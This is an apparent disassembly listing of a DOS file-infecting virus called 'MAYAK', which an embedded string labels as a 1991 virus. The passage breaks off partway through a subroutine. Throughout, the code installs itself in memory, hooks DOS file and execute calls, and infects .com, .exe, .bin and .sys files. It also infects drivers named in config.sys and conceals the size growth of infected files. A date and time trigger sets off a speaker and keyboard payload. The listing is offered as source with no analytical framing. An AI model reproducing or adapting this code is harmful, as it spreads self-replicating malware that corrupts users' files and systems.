home *** CD-ROM | disk | FTP | other *** search
-
-
- PAGE 59,132
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ MAYAK ██
-
- ;██ ██
-
- ;██ Created: 1-Aug-92 ██
-
- ;██ Passes: 5 Analysis Options on: none ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- data_1e equ 0Ch
-
- data_3e equ 20h
-
- data_4e equ 24h
-
- data_5e equ 84h
-
- data_6e equ 90h
-
- data_8e equ 100h
-
- data_9e equ 917h ;*
-
- data_10e equ 91Eh ;*
-
- data_11e equ 5350h ;*
-
- data_14e equ 927h ;*
-
- data_15e equ 6
-
- data_16e equ 46h
-
- data_17e equ 60h
-
-
-
- seg_a segment byte public
-
- assume cs:seg_a, ds:seg_a
-
-
-
-
-
- org 100h
-
-
-
- mayak proc far
-
-
-
- start:
-
- ;* jmp loc_6 ;*
-
- db 0E9h, 32h, 01h
-
- db 60h,0B9h, 00h, 20h
-
-
-
- locloop_3:
-
- loop locloop_3 ; Loop if cx > 0
-
-
-
- mov al,0
-
- out 60h,al ; port 60h, keybd data write
-
- int 20h ; DOS program terminate
-
- push ax
-
- push cx
-
- push si
-
- push di
-
- push ds
-
- push es
-
- call sub_2
-
-
-
- mayak endp
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_2 proc near
-
- pop si
-
- sub si,9
-
- nop ;*ASM fixup - sign extn byte
-
- push cs
-
- pop ds
-
- mov [si+44h],cs
-
- nop ;*ASM fixup - displacement
-
- mov [si+62h],cs
-
- nop ;*ASM fixup - displacement
-
- mov [si+46h],bx
-
- nop ;*ASM fixup - displacement
-
- mov [si+48h],es
-
- nop ;*ASM fixup - displacement
-
- mov ax,[si+42h]
-
- mov ds:data_15e,ax
-
- jmp short $+2 ; delay for I/O
-
- cld ; Clear direction
-
- mov ax,7000h
-
- mov es,ax
-
- xor di,di ; Zero register
-
- mov cx,923h
-
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
-
- mov cx,7Bh
-
- rep stosb ; Rep when cx >0 Store al to es:[di]
-
- pop es
-
- pop ds
-
- pop di
-
- pop si
-
- pop cx
-
- pop ax
-
- ;* jmp far ptr loc_2 ;*
-
- sub_2 endp
-
-
-
- db 0EAh,0C1h, 00h, 68h, 02h
-
- out 3,al ; port 3, DMA-1 bas&cnt ch 1
-
- xchg dx,ds:data_11e[bx+si]
-
- push cx
-
- push dx
-
- push si
-
- push di
-
- push ds
-
- push es
-
- push cs
-
- pop ds
-
- les di,dword ptr ds:data_17e ; Load 32 bit ptr
-
- mov si,91Eh
-
- cld ; Clear direction
-
- movsw ; Mov [si] to es:[di]
-
- movsw ; Mov [si] to es:[di]
-
- movsb ; Mov [si] to es:[di]
-
- ;* call far ptr sub_1 ;*
-
- db 9Ah,0CCh, 00h, 68h, 02h
-
- mov ax,0FEDAh
-
- int 21h ; ??INT Non-standard interrupt
-
- cmp ax,0ADEFh
-
- je loc_4 ; Jump if equal
-
- push cs
-
- pop ds
-
- mov ah,34h ; '4'
-
- int 21h ; DOS Services ah=function 34h
-
- ; get DOS critical ptr es:bx
-
- ;* undocumented function
-
- mov word ptr ds:[93Bh],bx
-
- mov word ptr ds:[93Dh],es
-
- lds si,dword ptr ds:data_16e ; Load 32 bit ptr
-
- les di,dword ptr [si+0Eh] ; Load 32 bit ptr
-
- mov cl,4
-
- shr di,cl ; Shift w/zeros fill
-
- inc di
-
- mov ax,es
-
- add ax,di
-
- mov es,ax
-
- mov word ptr [si+0Eh],99Eh
-
- mov [si+10h],es
-
- xor di,di ; Zero register
-
- push cs
-
- pop ds
-
- xor si,si ; Zero register
-
- cld ; Clear direction
-
- mov cx,99Eh
-
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
-
- mov di,data_14e
-
- mov ds,cx
-
- mov si,data_5e
-
- movsw ; Mov [si] to es:[di]
-
- movsw ; Mov [si] to es:[di]
-
- mov [si-2],es
-
- mov word ptr [si-4],147h
-
- mov si,data_4e
-
- movsw ; Mov [si] to es:[di]
-
- movsw ; Mov [si] to es:[di]
-
- mov [si-2],es
-
- mov word ptr [si-4],384h
-
- mov ah,2Ah ; '*'
-
- int 21h ; DOS Services ah=function 2Ah
-
- ; get date, cx=year, dh=month
-
- ; dl=day, al=day-of-week 0=SUN
-
- call sub_10
-
- sub ax,word ptr cs:[917h]
-
- cmp ax,5
-
- jb loc_4 ; Jump if below
-
- mov si,data_3e
-
- movsw ; Mov [si] to es:[di]
-
- movsw ; Mov [si] to es:[di]
-
- mov [si-2],es
-
- mov word ptr [si-4],2C2h
-
- loc_4:
-
- pop es
-
- pop ds
-
- pop di
-
- pop si
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- retf ; Return far
-
- db 'Jews-2 Virus. MSU 1991'
-
- db 1Eh, 06h,0E8h, 00h, 00h, 5Eh
-
- db 81h,0EEh, 03h, 01h,0E8h,0CAh
-
- db 02h, 0Eh, 0Eh, 1Fh, 07h,0E8h
-
- db 25h, 03h, 07h, 8Ch,0C0h, 05h
-
- db 10h, 00h, 2Eh, 01h, 84h, 24h
-
- db 01h, 1Fh,0E8h,0FFh, 02h,0EAh
-
- db 00h
-
- db 0, 0, 0
-
- loc_6:
-
- call sub_3
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_3 proc near
-
- pop si
-
- sub si,129h
-
- call sub_5
-
- push si
-
- mov di,data_8e
-
- add si,data_10e
-
- movsw ; Mov [si] to es:[di]
-
- movsb ; Mov [si] to es:[di]
-
- pop si
-
- call sub_8
-
- mov ax,100h
-
- push ax
-
- call sub_7
-
- retn
-
- sub_3 endp
-
-
-
- pushf ; Push flags
-
- cmp ax,0FEDAh
-
- jne loc_7 ; Jump if not equal
-
- mov ax,0ADEFh
-
- les bx,dword ptr cs:[927h] ; Load 32 bit ptr
-
- popf ; Pop flags
-
- iret ; Interrupt return
-
- loc_7:
-
- push bx
-
- push cx
-
- push dx
-
- push di
-
- push si
-
- push bp
-
- push ds
-
- push es
-
- xor si,si ; Zero register
-
- call sub_5
-
- cmp ah,3Ch ; '<'
-
- je loc_13 ; Jump if equal
-
- cmp ah,5Bh ; '['
-
- je loc_13 ; Jump if equal
-
- cmp ah,3Dh ; '='
-
- je loc_15 ; Jump if equal
-
- cmp ah,3Eh ; '>'
-
- je loc_17 ; Jump if equal
-
- cmp ah,4Bh ; 'K'
-
- jne loc_10 ; Jump if not equal
-
- jmp loc_20
-
- loc_10:
-
- cmp ah,4Eh ; 'N'
-
- jne loc_11 ; Jump if not equal
-
- jmp loc_26
-
- loc_11:
-
- cmp ah,4Fh ; 'O'
-
- jne loc_12 ; Jump if not equal
-
- jmp loc_28
-
- loc_12:
-
- jmp loc_31
-
- loc_13:
-
- int 3 ; Debug breakpoint
-
- jnc loc_14 ; Jump if carry=0
-
- jmp loc_29
-
- loc_14:
-
- push ax
-
- call sub_12
-
- pop bx
-
- mov byte ptr cs:[943h][bx],al
-
- mov byte ptr cs:[957h][bx],ah
-
- mov ax,bx
-
- jmp loc_30
-
- loc_15:
-
- push ax
-
- mov al,2
-
- int 3 ; Debug breakpoint
-
- jnc loc_16 ; Jump if carry=0
-
- pop ax
-
- jmp loc_31
-
- loc_16:
-
- pop bx
-
- push ax
-
- call sub_12
-
- pop bx
-
- mov byte ptr cs:[943h][bx],al
-
- mov byte ptr cs:[957h][bx],ah
-
- call sub_21
-
- mov ax,bx
-
- jmp loc_30
-
- loc_17:
-
- push ax
-
- push cs
-
- pop ds
-
- cmp bx,5
-
- jb loc_19 ; Jump if below
-
- cmp bx,18h
-
- ja loc_19 ; Jump if above
-
- mov al,byte ptr ds:[943h][bx]
-
- mov ah,byte ptr ds:[957h][bx]
-
- mov byte ptr ds:[943h][bx],0
-
- mov byte ptr ds:[957h][bx],0
-
- cmp al,2
-
- jb loc_18 ; Jump if below
-
- cmp ah,2
-
- jbe loc_19 ; Jump if below or =
-
- loc_18:
-
- call sub_20
-
- loc_19:
-
- pop ax
-
- jmp loc_31
-
- loc_20:
-
- mov word ptr cs:[99Ah],dx
-
- mov word ptr cs:[99Ch],ds
-
- push ax
-
- call sub_12
-
- mov word ptr cs:[998h],ax
-
- push ax
-
- mov ax,3D02h
-
- int 3 ; Debug breakpoint
-
- mov bx,ax
-
- pop ax
-
- pop cx
-
- push cx
-
- jc loc_25 ; Jump if carry Set
-
- and cl,cl
-
- jz loc_23 ; Jump if zero
-
- call sub_21
-
- mov ah,3Eh ; '>'
-
- int 3 ; Debug breakpoint
-
- pop ax
-
- call sub_4
-
- pop bx
-
- call dword ptr cs:[927h]
-
- pushf ; Push flags
-
- push bx
-
- push cx
-
- push dx
-
- push di
-
- push si
-
- push bp
-
- push ds
-
- push es
-
- push ax
-
- xor si,si ; Zero register
-
- call sub_5
-
- mov ax,word ptr cs:[998h]
-
- lds dx,dword ptr cs:[99Ah] ; Load 32 bit ptr
-
- cmp al,2
-
- jb loc_22 ; Jump if below
-
- cmp ah,2
-
- ja loc_22 ; Jump if above
-
- loc_21:
-
- pop ax
-
- call sub_4
-
- pop bx
-
- popf ; Pop flags
-
- retf 2 ; Return far
-
- loc_22:
-
- push ax
-
- mov ax,3D02h
-
- int 3 ; Debug breakpoint
-
- mov bx,ax
-
- pop ax
-
- jc loc_21 ; Jump if carry Set
-
- call sub_20
-
- mov ah,3Eh ; '>'
-
- int 3 ; Debug breakpoint
-
- jmp short loc_21
-
- loc_23:
-
- cmp al,2
-
- jb loc_24 ; Jump if below
-
- cmp ah,2
-
- jbe loc_25 ; Jump if below or =
-
- loc_24:
-
- call sub_20
-
- loc_25:
-
- mov ah,3Eh ; '>'
-
- int 3 ; Debug breakpoint
-
- pop ax
-
- jmp short loc_31
-
- loc_26:
-
- int 3 ; Debug breakpoint
-
- jc loc_29 ; Jump if carry Set
-
- mov ah,2Fh ; '/'
-
- int 21h ; DOS Services ah=function 2Fh
-
- ; get DTA ptr into es:bx
-
- push es
-
- pop ds
-
- loc_27:
-
- mov ax,[bx+16h]
-
- and ax,1Fh
-
- cmp ax,1Fh
-
- jne loc_30 ; Jump if not equal
-
- sub word ptr [bx+1Ah],923h
-
- sbb word ptr [bx+1Ch],0
-
- and word ptr [bx+16h],0FFE0h
-
- jmp short loc_30
-
- loc_28:
-
- int 3 ; Debug breakpoint
-
- mov bx,dx
-
- jnc loc_27 ; Jump if carry=0
-
- loc_29:
-
- call sub_4
-
- pop bx
-
- popf ; Pop flags
-
- stc ; Set carry flag
-
- retf 2 ; Return far
-
- loc_30:
-
- call sub_4
-
- pop bx
-
- popf ; Pop flags
-
- clc ; Clear carry flag
-
- retf 2 ; Return far
-
- loc_31:
-
- call sub_4
-
- pop bx
-
- popf ; Pop flags
-
- jmp dword ptr cs:[927h]
-
- push ax
-
- push cx
-
- push dx
-
- push si
-
- push ds
-
- push es
-
- push cs
-
- pop ds
-
- cmp byte ptr ds:[34Eh],0
-
- jne loc_32 ; Jump if not equal
-
- les si,dword ptr ds:[93Bh] ; Load 32 bit ptr
-
- cmp byte ptr es:[si],0
-
- jne $+6Ah ; Jump if not equal
-
- mov ah,2Ch ; ','
-
- int 21h ; DOS Services ah=function 2Ch
-
- ; get time, cx=hrs/min, dx=sec
-
- mov dl,cl
-
- cmp dx,1E3Bh
-
- jne $+5Eh ; Jump if not equal
-
- mov byte ptr ds:[34Eh],1
-
- mov byte ptr ds:[947h],1
-
- mov word ptr ds:[943h],34Fh
-
- loc_32:
-
- dec byte ptr ds:[34Eh]
-
- jnz $+48h ; Jump if not zero
-
- mov si,word ptr ds:[943h]
-
- cld ; Clear direction
-
- loc_33:
-
- lodsb ; String [si] to al
-
- mov byte ptr ds:[34Eh],al
-
- and al,al
-
- jnz loc_35 ; Jump if not zero
-
- dec byte ptr ds:[947h]
-
- jz loc_34 ; Jump if zero
-
- mov si,word ptr ds:[945h]
-
- jmp short loc_33
-
- loc_34:
-
- lodsb ; String [si] to al
-
- mov word ptr ds:[945h],si
-
- mov byte ptr ds:[947h],al
-
- and al,al
-
- jnz loc_33 ; Jump if not zero
-
- jmp short $+21h
-
- loc_35:
-
- lodsw ; String [si] to ax
-
- mov cx,ax
-
- mov word ptr ds:[943h],si
-
- mov al,0B6h
-
- out 43h,al ; port 43h, 8253 wrt timr mode
-
- mov dx,12h
-
- mov ax,34DDh
-
- div cx ; ax,dx rem=dx:ax/reg
-
- out 42h,al ; port 42h, 8253 timer 2 spkr
-
- mov al,ah
-
- out 42h,al ; port 42h, 8253 timer 2 spkr
-
- in al,61h ; port 61h, 8255 port B, read
-
- or al,3
-
- out 61h,al ; port 61h, 8255 B - spkr, etc
-
- pop es
-
- pop ds
-
- pop si
-
- pop dx
-
- pop cx
-
- pop ax
-
- jmp dword ptr cs:[92Fh]
-
- add [bx+si],al
-
- add ax,[bx]
-
- into ; Int 4 on overflow
-
- add al,[bx]
-
- push si
-
- add ax,[bx]
-
- xor al,4
-
- pop es
-
- push si
-
- add cx,word ptr ds:[3BFh]
-
- pop es
-
- push si
-
- add ax,[bx]
-
- add cx,word ptr es:[434h]
-
- push cs
-
- mov di,1103h
-
- into ; Int 4 on overflow
-
- add dh,[bp+si]
-
- db 0FFh,0FFh, 00h, 05h, 02h,0E8h
-
- db 03h, 10h,0FFh,0FFh, 00h, 01h
-
- db 09h,0E8h, 03h, 01h,0FFh,0FFh
-
- db 00h, 00h, 50h, 1Eh,0E4h, 60h
-
- db 3Ch, 53h, 75h, 35h,0B8h, 40h
-
- db 00h, 8Eh,0D8h,0A0h, 17h, 00h
-
- db 24h, 0Ch, 3Ch, 0Ch, 75h, 27h
-
- db 0C7h, 06h, 72h, 00h, 34h, 12h
-
- db 0E4h, 61h, 8Ah,0E0h, 0Ch, 80h
-
- db 0E6h, 61h, 86h,0E0h,0E6h, 61h
-
- db 0B0h, 20h,0E6h, 20h, 33h,0F6h
-
- db 0E8h, 20h, 00h, 0Eh, 0Eh, 1Fh
-
- db 07h,0E8h, 7Bh, 00h,0EAh,0F0h
-
- db 0FFh, 00h,0F0h
-
- db 1Fh, 58h, 2Eh,0FFh, 2Eh, 2Bh
-
- db 09h
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_4 proc near
-
- call sub_6
-
- pop bx
-
- pop es
-
- pop ds
-
- pop bp
-
- pop si
-
- pop di
-
- pop dx
-
- pop cx
-
- jmp bx ;*Register jump
-
-
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
-
-
- sub_5:
-
- push ax
-
- push bx
-
- push ds
-
- push es
-
- xor ax,ax ; Zero register
-
- mov ds,ax
-
- les ax,dword ptr ds:data_1e ; Load 32 bit ptr
-
- mov word ptr cs:[933h][si],ax
-
- mov word ptr cs:[935h][si],es
-
- mov ax,0FEDAh
-
- int 21h ; ??INT Non-standard interrupt
-
- cmp ax,0ADEFh
-
- je loc_37 ; Jump if equal
-
- les bx,dword ptr ds:data_5e ; Load 32 bit ptr
-
- loc_37:
-
- mov ds:data_1e,bx
-
- mov word ptr ds:data_1e+2,es
-
- pop es
-
- pop ds
-
- pop bx
-
- pop ax
-
- retn
-
- sub_4 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_6 proc near
-
- push ax
-
- push ds
-
- push es
-
- xor ax,ax ; Zero register
-
- mov ds,ax
-
- les ax,dword ptr cs:[933h][si] ; Load 32 bit ptr
-
- mov ds:data_1e,ax
-
- mov word ptr ds:data_1e+2,es
-
- pop es
-
- pop ds
-
- pop ax
-
- retn
-
- sub_6 endp
-
-
-
- db 0B0h, 03h,0CFh
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_7 proc near
-
- call sub_6
-
- xor ax,ax ; Zero register
-
- xor bx,bx ; Zero register
-
- mov cx,0FFh
-
- mov dx,cs
-
- mov di,sp
-
- add di,4
-
- mov si,100h
-
- xor bp,bp ; Zero register
-
- retn
-
- sub_7 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_8 proc near
-
- mov ah,2Ah ; '*'
-
- int 3 ; Debug breakpoint
-
- call sub_10
-
- mov word ptr ds:[917h][si],ax
-
- mov ax,3D00h
-
- lea dx,[si+4F0h] ; Load effective addr
-
- int 3 ; Debug breakpoint
-
- mov bx,ax
-
- jnc loc_38 ; Jump if carry=0
-
- retn
-
- loc_38:
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+970h] ; Load effective addr
-
- mov cx,28h
-
- int 3 ; Debug breakpoint
-
- and ax,ax
-
- jnz loc_39 ; Jump if not zero
-
- jmp loc_46
-
- loc_39:
-
- mov cx,ax
-
- mov di,dx
-
- mov al,0Dh
-
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
-
- jnz loc_38 ; Jump if not zero
-
- mov byte ptr [di-1],20h ; ' '
-
- neg cx
-
- inc cx
-
- mov ax,cx
-
- cwd ; Word to double word
-
- xchg cx,dx
-
- mov ax,4201h
-
- int 3 ; Debug breakpoint
-
- mov cx,28h
-
- mov al,20h ; ' '
-
- lea di,[si+970h] ; Load effective addr
-
- push di
-
- push cx
-
-
-
- locloop_40:
-
- scasb ; Scan es:[di] for al
-
- jc loc_41 ; Jump if carry Set
-
- mov [di-1],al
-
- loc_41:
-
- loop locloop_40 ; Loop if cx > 0
-
-
-
- pop cx
-
- pop di
-
- repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al
-
- push si
-
- dec di
-
- push di
-
- lea di,[si+4FEh] ; Load effective addr
-
- pop si
-
- mov cx,6
-
-
-
- locloop_42:
-
- lodsb ; String [si] to al
-
- or al,20h ; ' '
-
- scasb ; Scan es:[di] for al
-
- loopz locloop_42 ; Loop if zf=1, cx>0
-
-
-
- mov di,si
-
- pop si
-
- jnz loc_38 ; Jump if not zero
-
- mov cx,28h
-
- mov al,20h ; ' '
-
- repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al
-
- cmp byte ptr [di-1],3Dh ; '='
-
- jne loc_38 ; Jump if not equal
-
- repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al
-
- dec di
-
- mov dx,di
-
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
-
- mov byte ptr [di-1],0
-
- push bx
-
- call sub_11
-
- jz loc_44 ; Jump if zero
-
- mov di,dx
-
- cmp byte ptr [di],5Ch ; '\'
-
- je loc_43 ; Jump if equal
-
- dec di
-
- mov byte ptr [di],5Ch ; '\'
-
- loc_43:
-
- dec di
-
- dec di
-
- mov word ptr [di],3A63h
-
- mov dx,di
-
- loc_44:
-
- mov ax,3D02h
-
- int 3 ; Debug breakpoint
-
- jc loc_45 ; Jump if carry Set
-
- mov bx,ax
-
- mov ax,402h
-
- call sub_20
-
- mov ah,3Eh ; '>'
-
- int 3 ; Debug breakpoint
-
- loc_45:
-
- pop bx
-
- jmp loc_38
-
- loc_46:
-
- mov ah,3Eh ; '>'
-
- int 3 ; Debug breakpoint
-
- retn
-
- sub_8 endp
-
-
-
- db 'c:\config.sys'
-
- db 00h, 64h, 65h, 76h, 69h, 63h
-
- db 65h
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_10 proc near
-
- sub cx,7BCh
-
- dec dx
-
- dec dh
-
- mov al,1Fh
-
- mul dh ; ax = reg * al
-
- xor dh,dh ; Zero register
-
- add dx,ax
-
- push dx
-
- mov ax,16Eh
-
- mul cx ; dx:ax = reg * ax
-
- pop dx
-
- add ax,dx
-
- retn
-
- sub_10 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_11 proc near
-
- mov di,dx
-
- mov cx,0FFFFh
-
- xor al,al ; Zero register
-
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
-
- neg cx
-
- dec cx
-
- dec di
-
- dec di
-
- mov bx,di
-
- mov di,dx
-
- mov al,3Ah ; ':'
-
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
-
- retn
-
- sub_11 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_12 proc near
-
- cld ; Clear direction
-
- push bx
-
- push si
-
- push ds
-
- pop es
-
- call sub_11
-
- jnz loc_48 ; Jump if not zero
-
- mov al,[di-2]
-
- or al,20h ; ' '
-
- sub al,61h ; 'a'
-
- jmp short loc_49
-
- loc_48:
-
- mov ah,19h
-
- int 3 ; Debug breakpoint
-
- loc_49:
-
- std ; Set direction flag
-
- push cs
-
- pop es
-
- lea di,[si+584h] ; Load effective addr
-
- mov si,bx
-
- mov bl,al
-
- mov ah,4
-
- loc_50:
-
- mov cx,4
-
- push di
-
- push si
-
-
-
- locloop_51:
-
- lodsb ; String [si] to al
-
- or al,20h ; ' '
-
- scasb ; Scan es:[di] for al
-
- loopz locloop_51 ; Loop if zf=1, cx>0
-
-
-
- pop si
-
- pop di
-
- jz loc_53 ; Jump if zero
-
- sub di,4
-
- dec ah
-
- jz loc_53 ; Jump if zero
-
- jmp short loc_50
-
- loc_53:
-
- cld ; Clear direction
-
- mov al,bl
-
- pop si
-
- pop bx
-
- retn
-
- sub_12 endp
-
-
-
- db '.com.exe.bin.sys'
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_13 proc near
-
- mov ax,4200h
-
- xor cx,cx ; Zero register
-
- int 3 ; Debug breakpoint
-
- retn
-
- sub_13 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_14 proc near
-
- mov ax,4202h
-
- xor cx,cx ; Zero register
-
- xor dx,dx ; Zero register
-
- int 3 ; Debug breakpoint
-
- retn
-
- sub_14 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_15 proc near
-
- push ax
-
- and ah,ah
-
- jz loc_56 ; Jump if zero
-
- xor dx,dx ; Zero register
-
- call sub_13
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,6
-
- int 3 ; Debug breakpoint
-
- cmp ax,6
-
- jne loc_56 ; Jump if not equal
-
- pop ax
-
- push ax
-
- cmp ah,2
-
- jb loc_55 ; Jump if below
-
- jnz loc_54 ; Jump if not zero
-
- cmp word ptr ds:[91Eh][si],5A4Dh
-
- jne loc_56 ; Jump if not equal
-
- jmp short loc_55
-
- loc_54:
-
- cmp word ptr ds:[91Eh][si],0FFFFh
-
- jne loc_56 ; Jump if not equal
-
- cmp word ptr ds:[920h][si],0FFFFh
-
